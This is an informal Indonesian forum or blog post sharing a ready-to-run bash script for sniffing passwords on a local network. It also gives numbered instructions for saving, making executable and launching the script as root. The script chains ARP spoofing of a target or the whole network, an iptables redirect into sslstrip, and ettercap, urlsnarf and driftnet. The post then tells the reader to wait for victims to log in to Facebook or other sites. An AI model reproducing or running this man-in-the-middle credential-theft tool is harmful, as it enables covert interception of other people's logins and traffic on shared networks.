Udah lama ane ga posting neh ,
Habis jalan-jalan ke Forum IBT, ane nemu Thread yang cukup menarik, yaitu tentang sniffing password pake script ...
oke kita langsung saja ke TKW ehh TKP ,, :D
- Buka Kwrite atau apa saja yang penting bisa buat nulis script nya
- copy secript nya
#!/bin/bash
echo '1' > /proc/sys/net/ipv4/ip_forward
iptables --flush
sleep 1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# Arpspoof
echo -n -e "Would you like to ARP a (T)arget or full (N)etwork? ";
read ARPOP
if [ "$ARPOP" == "T" ] ; then
echo
echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
echo '------------------------'
echo -n -e '\E[37;41m'"Client IP address: "; tput sgr0
read IP1
echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
read IP2
echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>: "; tput sgr0
read INT
xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' -t '$IP1' '$IP2'' &
else
echo
echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
echo '------------------------'
echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
read IP2
echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>: "; tput sgr0
read INT
xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' '$IP2'' &
fi
# SSLSTRIP
xterm -fg green4 -bg grey0 -e 'sslstrip -a -w ssl_log.txt' &
# ETTERCAP
xterm -fg green4 -bg grey0 -e 'ettercap -T -q -i '$INT'' &
# URLSNARF
xterm -fg green4 -bg grey0 -e 'urlsnarf -i '$INT' | grep http > urlsnarf_log.txt' &
# DRIFTNET
driftnet -p -i $INT &
3. terus save dengan nama file sniff.sh di direktory root
4. kalau sudah si save, terus kasih permission
- buka console
- terus ketikan chmod +x sniff.sh
5. kalo udah langsung saja di jalanin pake syntax di console
root@bt :~# ./sniff.sh
6. kalo udah ntar ada pilihan :
Would you like to ARP a (T)arget or full (N)etwork?
kalo ane pilih N
7. ntar suruh masukin IP router nya
8. terus pilih interface yang di pake ( Eth0 Atau Wlan0 )
9. udah deh tunggu sampe ada yang login ke facebook atau yang lainya
ini penampakan yang ane buat :D
okeeeehh
semoga bermanfaat
salama:: Micro Code
Comments